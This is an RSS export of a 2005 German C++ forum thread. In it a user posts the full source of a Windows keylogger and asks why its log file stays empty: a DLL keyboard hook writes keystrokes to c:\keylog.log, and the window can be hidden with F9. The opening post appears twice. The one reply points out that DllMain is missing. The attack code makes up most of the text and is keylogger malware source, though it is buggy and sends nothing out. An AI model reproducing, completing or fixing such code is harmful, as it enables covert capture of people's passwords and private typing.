<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Keyboardhook will net :(]]></title><description><![CDATA[<p>Hi,</p>
<p>ich hab einen keyboardhooker in einer dll welcher mir die gedrückten tasten in einer log abspeichern soll! doch der mist will nicht <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /> und die log ist leer <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /></p>
<p>hier der code</p>
<pre><code class="language-cpp">// DLL
#include &lt;windows.h&gt;
#include &lt;fstream.h&gt;
#include &lt;stdio.h&gt;
bool casematch;
SHORT ad;
char res;
LRESULT CALLBACK KeyboardHookProc( int code,WPARAM key, LPARAM lParam)
{
ofstream out;
		out.open(&quot;c:\\keylog.log&quot;,ofstream::out | ofstream::app);

   if (code != HC_NOREMOVE) 

   if (lParam&lt;0)
	   if (((key&gt;45) &amp;&amp; (key&lt;91)) || (key==32) )//This part captures only the following keystokes a-z ,0-9 and the space key

   {

	   res=char(key);

ad=GetKeyState(VK_SHIFT);
 	   if (ad &lt; 0)
 casematch= TRUE;
	   else
		   casematch=FALSE;
	   if (casematch==FALSE) 
		   strlwr(&amp;res);
	   if (casematch==TRUE)
		   strupr(&amp;res);
  out&lt;&lt;res;

  	   }
   out.close();
   flush(out);  

    return CallNextHookEx(NULL, code, key, lParam);
}
</code></pre>
<p>main.cpp</p>
<pre><code class="language-cpp"># include &lt;windows.h&gt;

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
BOOL CALLBACK em( HWND, LPCTSTR, HANDLE);

HWND hwnd;
MSG msg;
WNDCLASS wc;
int count;
LPCTSTR arr[225];
int WINAPI WinMain(HINSTANCE hinst,HINSTANCE hprev,LPSTR line,int cmd)

{
count=1;
	wc.lpfnWndProc=WndProc;
	wc.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH);
	wc.hCursor=LoadCursor(0,IDC_ARROW);
	wc.lpszClassName=&quot;KeyLogger&quot;;
	wc.hIcon=LoadIcon(0,IDI_APPLICATION);
	RegisterClass(&amp;wc);

	hwnd=CreateWindow(&quot;KeyLogger&quot;,&quot;KeyLogger - venky_dude&quot;,WS_OVERLAPPEDWINDOW,10,10,250,75,0,0,hinst,0);
 HWND hwnd2= CreateWindowEx(0,&quot;Static&quot;,&quot;Press F9 to Hide &quot;, WS_BORDER | WS_CHILD | WS_VISIBLE ,30,0,150,20,hwnd,0,hinst,0); 
 HWND hwnd3= CreateWindowEx(0,&quot;Static&quot;,&quot;Press F10 to UnHide &quot;, WS_BORDER | WS_CHILD | WS_VISIBLE ,30,20,150,20,hwnd,0,hinst,0); 

	ShowWindow(hwnd,SW_NORMAL);
SetTimer(hwnd,1,125,0);
FARPROC		KeylogHookProc;
HINSTANCE	KeylogDLL;
HHOOK		KeylogHook;

KeylogDLL=LoadLibrary(&quot;keylogger.dll&quot;);

KeylogHookProc=GetProcAddress(KeylogDLL,&quot;KeyboardHookProc&quot;);
DWORD rt=GetLastError();
KeylogHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeylogHookProc,KeylogDLL,NULL);

 while(GetMessage(&amp;msg,NULL,0,0))
	{
		TranslateMessage(&amp;msg);
		DispatchMessage(&amp;msg);
	}
	return(0);

}

LRESULT CALLBACK WndProc(HWND hwnd1,UINT msg1,WPARAM w_param,LPARAM l_param)
{

	if (msg1==WM_DESTROY)
		PostQuitMessage(0);
if(msg1==WM_TIMER)
{

	if (GetAsyncKeyState(VK_F9))
		ShowWindow(hwnd,SW_HIDE);
if (GetAsyncKeyState(VK_F10))
		ShowWindow(hwnd,SW_SHOWNORMAL);
}
	return DefWindowProc(hwnd1,msg1,w_param,l_param);
}
</code></pre>
<p>Bitte helft mir <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/topic/102530/keyboardhook-will-net</link><generator>RSS for Node</generator><lastBuildDate>Wed, 29 Apr 2026 04:19:43 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/102530.rss" rel="self" type="application/rss+xml"/><pubDate>Sun, 27 Feb 2005 01:58:22 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Keyboardhook will net :( on Sun, 27 Feb 2005 01:58:22 GMT]]></title><description><![CDATA[<p>Hi,</p>
<p>ich hab einen keyboardhooker in einer dll welcher mir die gedrückten tasten in einer log abspeichern soll! doch der mist will nicht <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /> und die log ist leer <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /></p>
<p>hier der code</p>
<pre><code class="language-cpp">// DLL
#include &lt;windows.h&gt;
#include &lt;fstream.h&gt;
#include &lt;stdio.h&gt;
bool casematch;
SHORT ad;
char res;
LRESULT CALLBACK KeyboardHookProc( int code,WPARAM key, LPARAM lParam)
{
ofstream out;
		out.open(&quot;c:\\keylog.log&quot;,ofstream::out | ofstream::app);

   if (code != HC_NOREMOVE) 

   if (lParam&lt;0)
	   if (((key&gt;45) &amp;&amp; (key&lt;91)) || (key==32) )//This part captures only the following keystokes a-z ,0-9 and the space key

   {

	   res=char(key);

ad=GetKeyState(VK_SHIFT);
 	   if (ad &lt; 0)
 casematch= TRUE;
	   else
		   casematch=FALSE;
	   if (casematch==FALSE) 
		   strlwr(&amp;res);
	   if (casematch==TRUE)
		   strupr(&amp;res);
  out&lt;&lt;res;

  	   }
   out.close();
   flush(out);  

    return CallNextHookEx(NULL, code, key, lParam);
}
</code></pre>
<p>main.cpp</p>
<pre><code class="language-cpp"># include &lt;windows.h&gt;

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
BOOL CALLBACK em( HWND, LPCTSTR, HANDLE);

HWND hwnd;
MSG msg;
WNDCLASS wc;
int count;
LPCTSTR arr[225];
int WINAPI WinMain(HINSTANCE hinst,HINSTANCE hprev,LPSTR line,int cmd)

{
count=1;
	wc.lpfnWndProc=WndProc;
	wc.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH);
	wc.hCursor=LoadCursor(0,IDC_ARROW);
	wc.lpszClassName=&quot;KeyLogger&quot;;
	wc.hIcon=LoadIcon(0,IDI_APPLICATION);
	RegisterClass(&amp;wc);

	hwnd=CreateWindow(&quot;KeyLogger&quot;,&quot;KeyLogger - venky_dude&quot;,WS_OVERLAPPEDWINDOW,10,10,250,75,0,0,hinst,0);
 HWND hwnd2= CreateWindowEx(0,&quot;Static&quot;,&quot;Press F9 to Hide &quot;, WS_BORDER | WS_CHILD | WS_VISIBLE ,30,0,150,20,hwnd,0,hinst,0); 
 HWND hwnd3= CreateWindowEx(0,&quot;Static&quot;,&quot;Press F10 to UnHide &quot;, WS_BORDER | WS_CHILD | WS_VISIBLE ,30,20,150,20,hwnd,0,hinst,0); 

	ShowWindow(hwnd,SW_NORMAL);
SetTimer(hwnd,1,125,0);
FARPROC		KeylogHookProc;
HINSTANCE	KeylogDLL;
HHOOK		KeylogHook;

KeylogDLL=LoadLibrary(&quot;keylogger.dll&quot;);

KeylogHookProc=GetProcAddress(KeylogDLL,&quot;KeyboardHookProc&quot;);
DWORD rt=GetLastError();
KeylogHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeylogHookProc,KeylogDLL,NULL);

 while(GetMessage(&amp;msg,NULL,0,0))
	{
		TranslateMessage(&amp;msg);
		DispatchMessage(&amp;msg);
	}
	return(0);

}

LRESULT CALLBACK WndProc(HWND hwnd1,UINT msg1,WPARAM w_param,LPARAM l_param)
{

	if (msg1==WM_DESTROY)
		PostQuitMessage(0);
if(msg1==WM_TIMER)
{

	if (GetAsyncKeyState(VK_F9))
		ShowWindow(hwnd,SW_HIDE);
if (GetAsyncKeyState(VK_F10))
		ShowWindow(hwnd,SW_SHOWNORMAL);
}
	return DefWindowProc(hwnd1,msg1,w_param,l_param);
}
</code></pre>
<p>Bitte helft mir <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/733213</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/733213</guid><dc:creator><![CDATA[#########]]></dc:creator><pubDate>Sun, 27 Feb 2005 01:58:22 GMT</pubDate></item><item><title><![CDATA[Reply to Keyboardhook will net :( on Sun, 27 Feb 2005 08:23:41 GMT]]></title><description><![CDATA[<p>Du hast DllMain() in der DLL vergessen.</p>
<p>Dort musst Du fuer jeden ATTACH_THREAD bzw. DETACH_THREAD Deine Hookfunktion registrieren bzw. deregistrieren.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/733255</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/733255</guid><dc:creator><![CDATA[Power Off]]></dc:creator><pubDate>Sun, 27 Feb 2005 08:23:41 GMT</pubDate></item></channel></rss>